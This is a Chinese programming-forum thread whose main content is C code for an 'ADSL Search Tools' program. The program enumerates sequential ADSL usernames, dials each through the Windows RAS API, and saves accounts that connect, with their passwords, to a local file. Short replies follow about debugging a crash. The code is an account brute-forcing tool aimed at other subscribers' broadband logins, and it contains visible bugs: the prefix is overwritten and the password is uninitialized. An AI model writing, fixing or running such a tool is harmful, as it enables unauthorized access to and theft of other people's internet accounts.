#define _CRT_SECURE_NO_DEPRECATE #define _AFXDLL #include <windows.h> #include <stdio.h> #include <Ras.h> #pragma comment(lib,"rasapi32.lib") #include <wininet.h> int CheckIsNetWorking(); void saveadsl(char user[20], char pass[20]); void search() { long i; char prefix[10]; long suffixstart, suffixstop; char user[20], pass[20]; char userl[10]; puts("Welcome to ADSL Search Tools!"); puts("please input the prefix(such as:02700)"); fflush(stdin); gets(prefix); puts("The predix has been saved!"); puts("Now you should input the suffix:(such as:980000)"); puts("please input the start number:"); scanf("%d", &suffixstart); puts("please input the final number"); scanf("%d", &suffixstop); puts("starting..."); for (i = suffixstart; i < suffixstop; i++) { _itoa(i, userl, 10); memset(user, 0, sizeof(user)); strcpy(user, prefix); strcpy(user, userl); printf("Testing: %s", user); //如果想自动请将上面的代码直接替换成你的用户名和密码 RASDIALPARAMSA rdParams; rdParams.dwSize = sizeof(RASDIALPARAMSA); strcpy(rdParams.szEntryName, "宽带连接"); //连接名称是你的拨号名称 rdParams.szPhoneNumber[0] = ""\0""; rdParams.szCallbackNumber[0] = ""\0""; rdParams.szDomain[0] = ""\0""; strcpy(rdParams.szUserName, user); strcpy(rdParams.szPassword, pass); HRASCONN hRscon = NULL; DWORD retn = RasDialA(NULL, NULL, &rdParams, NULL, NULL, &hRscon); if (retn == 0) { puts("A ADSL number find! Attempting to link to Interenet..."); if (CheckIsNetWorking()) { puts("Link to interenet successfully!"); puts("Saving to file..."); saveadsl(user,pass); //断开函数 DWORD off= RasHangUp(hRscon); if (off==0) { printf("连接已断开...\n"); } else printf("断开连接出错...\n"); } else { //断开函数 DWORD off= RasHangUp(hRscon); if (off==0) { printf("连接已断开...\n"); } else printf("断开连接出错...\n"); } } printf("连接出错...\n"); } } void saveadsl(char user[20],char pass[20]) { FILE *fp; fp = fopen("D:\adsl.txt", "a +" ); fprintf(fp, "username:%s password:%s", user, pass); puts("Saved successfully!"); fclose(fp); } int CheckIsNetWorking() { if (system("ping www.baidu.com")) return 0; else return 1; } int main(int argc, char *argv[]) { search(); return 0; } “Search ADSL.exe”(Win32): 已加载“C:\Users\Chu\Documents\Visual Studio 2013\Projects\Search ADSL\Debug\Search ADSL.exe”。已加载符号。 |
|
15分 |
运行问题?单步调试
|
的确是单步调试,代码之后的行就是单步的错误信息 |
|
15分 |
崩溃的时候在弹出的对话框按相应按钮进入调试,按Alt+7键查看Call Stack里面从上到下列出的对应从里层到外层的函数调用历史。双击某一行可将光标定位到此次调用的源代码或汇编指令处,看不懂时双击下一行,直到能看懂为止。
|
已经搞定,还是感谢大家
|